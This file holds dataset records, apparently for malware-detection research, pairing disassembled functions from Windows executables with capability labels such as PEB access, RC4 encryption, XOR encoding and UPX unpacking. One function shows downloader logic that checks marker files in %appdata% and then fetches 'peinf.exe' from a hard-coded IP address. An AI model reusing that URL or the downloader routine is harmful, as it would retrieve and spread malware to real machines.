joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10017094
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x28
push ebp
push esi
mov esi, ecx
xor ebp, ebp
push edi
cmp dword [esi + 0x78], ebp
je 0x1001724d
push ebx
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x2c], 1
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ebp
mov eax, dword [esi + 0x90]
cmp eax, ebp
je 0x100171c6
mov ecx, dword [esi + 0x94]
sub ecx, eax
mov eax, dword [esp + 0x14]
sar ecx, 4
cmp eax, ecx
jae 0x100171c6
xor ebx, ebx
mov edx, dword [esi + 0x90]
mov eax, dword [esp + 0x10]
add eax, edx
mov ecx, dword [eax + 4]
cmp ecx, ebp
je 0x100171ad
mov edx, dword [eax + 8]
sub edx, ecx
sar edx, 2
cmp ebx, edx
jae 0x100171ad
mov eax, ecx
mov ecx, esi
mov edi, dword [eax + ebx*4]
push edi
call fcn.10018280
mov ebp, eax
test ebp, ebp
je 0x100171a5
push ebp
mov ecx, esi
call fcn.10019730
test eax, eax
je 0x100171a5
mov edx, dword [esi + 0x74]
cmp edi, edx
je 0x100171a5
mov eax, dword [esp + 0x10]
xor ecx, ecx
test ebx, ebx
sete cl
mov dword [esp + 0x24], ecx
mov ecx, dword [esi + 0x90]
add eax, ecx
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x10017166
xor eax, eax
jmp 0x1001716e
mov eax, dword [eax + 8]
sub eax, ecx
sar eax, 2
dec eax
xor ecx, ecx
cmp ebx, eax
lea eax, [edi + 1]
sete cl
mov dword [esp + 0x28], ecx
xor ecx, ecx
cmp eax, edx
sete cl
dec edi
mov dword [esp + 0x30], ecx
xor eax, eax
cmp edi, edx
mov edx, dword [esp + 0x3c]
lea ecx, [esp + 0x18]
sete al
push ecx
push edx
mov ecx, ebp
mov dword [esp + 0x3c], eax
call fcn.1001a090
inc ebx
xor ebp, ebp
jmp 0x100170f7
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
inc ecx
add eax, 0x10
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
jmp 0x100170d0
mov eax, dword [esi + 0x74]
mov ecx, esi
push eax
call fcn.10018590
test eax, eax
pop ebx
je 0x1001724d
mov ecx, dword [esi + 0x74]
push ecx
mov ecx, esi
call fcn.10018280
mov edi, eax
cmp edi, ebp
je 0x1001724d
push edi
mov ecx, esi
call fcn.10019730
test eax, eax
je 0x1001724d
mov eax, 1
lea edx, [esi + 0x1f8]
mov dword [esp + 0x28], eax
mov dword [esp + 0x18], eax
mov eax, dword [esi + 0x74]
mov ecx, esi
push eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x20], edx
call fcn.100187d0
mov ecx, dword [esi + 0x74]
mov dword [esp + 0x20], eax
push ecx
mov ecx, esi
call fcn.10018840
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x38]
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push eax
call fcn.1001a090
pop edi
pop esi
pop ebp
add esp, 0x28
ret 4
Function at 0x1001f06b
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x3c9c4e
push eax
mov dword fs:[0], esp
sub esp, 0xb0
push esi
mov esi, ecx
mov eax, dword [esi + 0x5c]
test eax, eax
jne 0x1001f08d
xor eax, eax
pop esi
mov ecx, dword [esp + 0xb0]
mov dword fs:[0], ecx
add esp, 0xbc
ret
push edi
push 0x400
lea ecx, [esp + 0xc]
call fcn.100352d5
push 0
push 0x1000
lea eax, [esp + 0x10]
push 0
push eax
lea ecx, [esp + 0x84]
mov dword [esp + 0xd0], 0
call fcn.10033bfd
lea ecx, [esp + 0x74]
mov byte [esp + 0xc0], 1
push ecx
mov ecx, dword [esi + 0x5c]
call fcn.10018b20
lea ecx, [esp + 8]
call fcn.10035532
lea ecx, [esp + 0x74]
call fcn.10033d61
mov edx, dword [esp + 8]
push 0
push 0
lea ecx, [esp + 0x10]
call dword [edx + 0x28]
push 0
push 0x1000
lea eax, [esp + 0x10]
push 1
push eax
lea ecx, [esp + 0x40]
call fcn.10033bfd
lea ecx, [esp + 0x30]
lea edi, [esi + 0x60]
push ecx
mov ecx, edi
mov byte [esp + 0xc4], 2
call fcn.10018f90
lea ecx, [esp + 0x30]
call fcn.10033d61
lea ecx, [esp + 8]
call fcn.10035533
mov ecx, dword [esi + 0x5c]
call fcn.10015f30
push eax
mov ecx, edi
call fcn.10015f40
mov ecx, dword [esi + 0x5c]
call fcn.10016600
push eax
mov ecx, edi
call fcn.100165a0
mov ecx, dword [esi + 0x5c]
call fcn.10016720
push eax
mov ecx, edi
call fcn.100166d0
mov ecx, dword [esi + 0x5c]
push 0
call fcn.10015810
push eax
mov ecx, edi
call fcn.10015820
mov edx, dword [esi + 0x7c]
push 1
push 0
push edx
call dword [0x3cb454]
lea ecx, [esp + 0x30]
mov byte [esp + 0xc0], 1
call fcn.10033cd9
lea ecx, [esp + 0x74]
mov byte [esp + 0xc0], 0
call fcn.10033cd9
lea ecx, [esp + 8]
mov dword [esp + 0xc0], 0xffffffff
call fcn.1003534c
mov ecx, dword [esp + 0xb8]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0xbc
ret
Function at 0x401360
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022b0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.338d8dd8.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4013c1
xor al, al
jmp 0x4013fb
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x4013f9
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
lea ecx, [ebp - 0x208]
push ecx
push 0x4022e0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push str.windrx.txt
lea edx, [ebp - 0x208]
push edx
call sub.MSVCR90.dll_wcscat
add esp, 8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401461
xor al, al
jmp 0x40149b
push 0
push 2
push 1
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x401499
mov edx, dword [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4014a0
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401400
call fcn.00401360
movzx ecx, al
test ecx, ecx
je 0x401521
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x104
lea edx, [ebp - 0x410]
push edx
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x410]
push eax
push str._swindrx.txt
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401521
push str.http:__185.215.113.66_peinf.exe
call fcn.004010b0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x414054], 1
mov dword [0x414050], 1
mov dword [0x41404c], 1
mov dword [0x414044], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x41400c], eax
mov eax, dword [0x414060]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x414074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x41405c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x41001c], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060
Function at 0x401648
Capabilities:
Enumerate process modules
Get process image filename

Disassembly:
push ebp
mov ebp, esp
push edi
mov eax, 0x1134
call fcn.00402b80
sub esp, eax
lea eax, [ebp - 0x1020]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x1000
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._EnumProcesses_12
sub esp, 0xc
test eax, eax
jne 0x4016a0
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 4], eax
mov dword [esp], str._Error__Was_not_able_to_enumerate_all_processes._Error:__lu_n
call sym._printf
mov eax, 0xffffffff
jmp 0x40180a
mov eax, dword [ebp - 0x1020]
shr eax, 2
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
jmp 0x4017fb
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x101c]
test eax, eax
je 0x4017f7
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x101c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x410
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
call eax
sub esp, 0xc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4017d3
mov dword [ebp - 0x1124], 0x6b6e753c
mov dword [ebp - 0x1120], 0x6e776f6e
mov dword [ebp - 0x111c], 0x3e
lea edx, [ebp - 0x1118]
mov eax, 0
mov ecx, 0x3e
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x1124]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetProcessImageFileNameA_12
sub esp, 0xc
test eax, eax
jne 0x401787
cmp dword [ebp + 0xc], 2
jne 0x401787
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str._Error__Was_not_able_to_get_Process_Image_File_Name.Process_ID:__lu._Error__lu_n
call sym._printf
jmp 0x4017f7
mov eax, dword [ebp - 0xc]
imul edx, eax, 0x108
mov eax, dword [ebp + 8]
add edx, eax
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
imul edx, eax, 0x108
mov eax, dword [ebp + 8]
add eax, edx
lea edx, [eax + 4]
lea eax, [ebp - 0x1124]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
jmp 0x4017f7
cmp dword [ebp + 0xc], 2
jne 0x4017f7
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 4], eax
mov dword [esp], str._Error__Was_not_able_to_open_process_to_query_information__Process_ID:__lu._Error__lu_n
call sym._printf
add dword [ebp - 0x10], 1
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x14]
jb 0x4016bf
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 4]
leave
ret
Function at 0x401f10
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f70
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x414068]
test esi, esi
jle 0x402090
mov eax, dword [0x41406c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401fa4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402027
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401f90
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x4020b7
mov eax, dword [0x41406c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x41406c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x402097
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402020
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x402030
add dword [0x414068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x41406c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x402020
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401fae
mov eax, dword [0x41406c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x402570
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x414084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x41407c]
sub esp, 4
test ebx, ebx
je 0x4025c5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4025be
test esi, esi
je 0x4025be
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4025a0
mov dword [esp], 0x414084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10007054
Capabilities:
Access peb ldr_data

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x88
mov eax, dword [0x10444612]
mov dword [ebp - 0x3c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0xc]
lea edi, [eax + 0xc]
cmp edi, ebx
je 0x100070d0

Function at 0x1000705e
Capabilities:
Access peb ldr_data

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x88
mov eax, dword [0x10444612]
mov dword [ebp - 0x3c], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ebx, dword [eax + 0xc]
lea edi, [eax + 0xc]
cmp edi, ebx
je 0x100070d0

Function at 0x10007440
Capabilities:
Encrypt data using rc4 prga

Disassembly:
add edx, 1
cmp byte [ebx + edx + 1], 0
jne 0x100073e4
mov dword [ebp - 0x4c], ebx
add edx, eax
xor ecx, ecx
mov ebx, esi
movzx esi, byte [eax]
imul ecx, ebx
add eax, 1
add ecx, esi
cmp eax, edx
jne 0x100073f7
mov ebx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x40]
mov dword [esp + 8], ecx
mov eax, dword [0x104445e2]
mov dword [esp + 0xc], esi
mov esi, dword [ebp - 0x3c]
jne 0x100073e0
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.10006f94
movsx esi, byte [ebx]
mov dword [ebp - 0x40], eax
add ebx, esi
mov dword [ebp - 0x4c], esi
mov esi, dword [ebp - 0x50]
lea eax, [ebx + 1]
mov dword [esp], eax
call esi
movsx esi, byte [ebx]
xor eax, edi
inc ebp
fadd dword [eax]
add byte [eax], al
add byte [ecx + 0x4ec83c1], cl
mov dword [ebp - 0x64], ecx
lea eax, [ebx + esi]
mov dword [ebp - 0x50], esi
mov esi, dword [0x104445de]
mov ebx, dword [eax + 4]
mov dword [ebp - 0x54], esi
add esi, eax
mov dword [ebp - 0x60], ebx
mov ebx, dword [eax + 8]
mov eax, dword [ecx + 0x3c]
mov dword [ebp - 0x74], esi
add esi, ebx
mov edx, dword [ecx + eax + 0x2c]
mov dword [ebp - 0x5c], esi
movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x28]
mov eax, dword [0x104445f2]
mov dword [esp + 0xc], esi
mov dword [esp + 4], ebx
mov dword [ebp - 0x68], edx
add edx, ecx
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], edx
mov dword [esp], edx
call eax
lea eax, [ebx - 1]
mov ecx, dword [ebp - 0x64]
sub esp, 0x10
test ebx, ebx
mov dword [ebp - 0x58], eax
je 0x100075f7
mov esi, dword [ebp - 0x54]
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
add edx, dword [ebp - 0x70]
add eax, edx
add eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x50]
lea edx, [esi + edx + 0x10]
add edx, dword [ebp - 0x48]
add edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x50]
add eax, edi
mov esi, dword [ebp - 0x68]
add edx, edi
mov edi, dword [ebp - 0x3c]
lea ecx, [ecx + esi + 0x10]
cmp edi, edx
setae dl
cmp eax, ecx
setae cl
or dl, cl
je 0x100076e4
cmp dword [ebp - 0x58], 0xe
jbe 0x100076e4
mov esi, dword [ebp - 0x74]
mov ecx, ebx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x74]
lea esi, [esi]
movzx edx, byte [esi]
add esi, 1
add eax, 1
invalid
Function at 0x427eaa
Capabilities:
Encode data using xor

Disassembly:
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]

Function at 0x407f80
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x6000]
push edi
or ebp, 0xffffffff
jmp 0x407fa2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407fa9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407f98
mov eax, 1
add ebx, ebx
jne 0x407fbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407fb0
jne 0x407fcc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407fb0
xor ecx, ecx
sub eax, 3
jb 0x407fe0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x408052
mov ebp, eax
add ebx, ebx
jne 0x407feb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407ff8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40801c
inc ecx
add ebx, ebx
jne 0x408008
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x407ffd
jne 0x408019
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407ffd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40803c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40802d
jmp 0x407f9e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40803c
add edi, ecx
jmp 0x407f9e
pop esi
mov edi, esi
mov ecx, 0x8f
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40805a
cmp byte [edi], 0
jne 0x40805a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40805f
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x4080d7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8d64]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x8ddc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40808c
mov ecx, edi
jns 0x4080bb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x8de4]
or eax, eax
je 0x4080d1
mov dword [ebx], eax
add ebx, 4
jmp 0x4080a9
call dword [esi + 0x8de0]
mov ebp, dword [esi + 0x8de8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x217]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40810b
sub esp, 0xffffff80
jmp 0x402130
Function at 0x40c3a0
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4de18d
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x6a9b98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [esi], vtable.IPv6Header.0
movups xmmword [esi + 0x10], xmm0
push 0
movups xmmword [esi + 0x20], xmm0
movq qword [esi + 0x30], xmm0
mov dword [esi + 4], 0x28
and byte [esi + 0x11], 0xf
mov byte [esi + 0x10], 0x60
call dword [0x4e3294]
mov ecx, eax
shr ecx, 8
xor cl, byte [esi + 0x11]
and cl, 0xf
xor byte [esi + 0x11], cl
mov ecx, eax
shr eax, 0x18
shr ecx, 0x10
mov byte [esi + 0x13], al
mov byte [esi + 0x12], cl
mov eax, dword [esi]
mov byte [esi + 0x17], 0x40
mov eax, dword [eax + 0x44]
cmp eax, method.IPv6Header.virtual_68
jne 0x40c43d
mov byte [esi + 0x16], 6
jmp 0x40c443
push 6
mov ecx, esi
call eax
push 0
call dword [0x4e3290]
mov word [esi + 0x14], ax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x44a700
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4e0478
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x6a9b98]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov ebx, dword [ebp + 8]
lea esi, [edi + 0xc]
push 0x18
mov eax, dword [ebx]
mov dword [edi], eax
mov ax, word [ebx + 4]
mov word [edi + 4], ax
movzx eax, byte [ebx + 6]
mov byte [edi + 6], al
movzx eax, byte [ebx + 7]
mov byte [edi + 7], al
movzx eax, byte [ebx + 8]
mov dword [ebp - 0x14], esi
mov byte [edi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], esi
call fcn.004dc114
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [esi], eax
push dword [ebp + 8]
mov ecx, esi
mov dword [ebp - 4], 0
push eax
mov eax, dword [ebx + 0xc]
push dword [eax + 4]
call fcn.00448d70
mov ecx, dword [esi]
mov dword [ecx + 4], eax
mov eax, dword [ebx + 0x10]
mov ebx, dword [esi]
mov dword [esi + 4], eax
mov edx, dword [ebx + 4]
cmp byte [edx + 0xd], 0
jne 0x44a7f0
mov ecx, dword [edx]
cmp byte [ecx + 0xd], 0
jne 0x44a7cc
nop word [eax + eax]
mov eax, dword [ecx]
mov edx, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x44a7c0
mov dword [ebx], edx
mov edx, dword [esi]
mov ecx, dword [edx + 4]
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
jne 0x44a7eb
nop dword [eax]
mov ecx, eax
mov eax, dword [ecx + 8]
cmp byte [eax + 0xd], 0
je 0x44a7e0
mov dword [edx + 8], ecx
jmp 0x44a7f7
mov dword [ebx], ebx
mov eax, dword [esi]
mov dword [eax + 8], eax
mov eax, dword [ebp + 8]
mov dword [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov esi, dword [eax + 0x14]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], 1
mov dword [ebp + 8], eax
cmp esi, eax
je 0x44a89b
mov ecx, eax
mov eax, 0x2aaaaaab
sub ecx, esi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 0x15555555
ja 0x44a8b1
lea ebx, [eax + eax*2]
shl ebx, 2
cmp ebx, 0x1000
jb 0x44a857
push ebx
call fcn.00411e50
add esp, 4
jmp 0x44a868
test ebx, ebx
je 0x44a866
push ebx
call fcn.004dc114
add esp, 4
jmp 0x44a868
xor eax, eax
mov edx, dword [ebp + 8]
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], eax
add eax, ebx
mov dword [edi + 0x1c], eax
mov ecx, dword [edi + 0x14]
nop dword [eax]
movq xmm0, qword [esi]
movq qword [ecx], xmm0
mov eax, dword [esi + 8]
add esi, 0xc
mov dword [ecx + 8], eax
add ecx, 0xc
cmp esi, edx
jne 0x44a880
mov dword [edi + 0x18], ecx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00412230
int3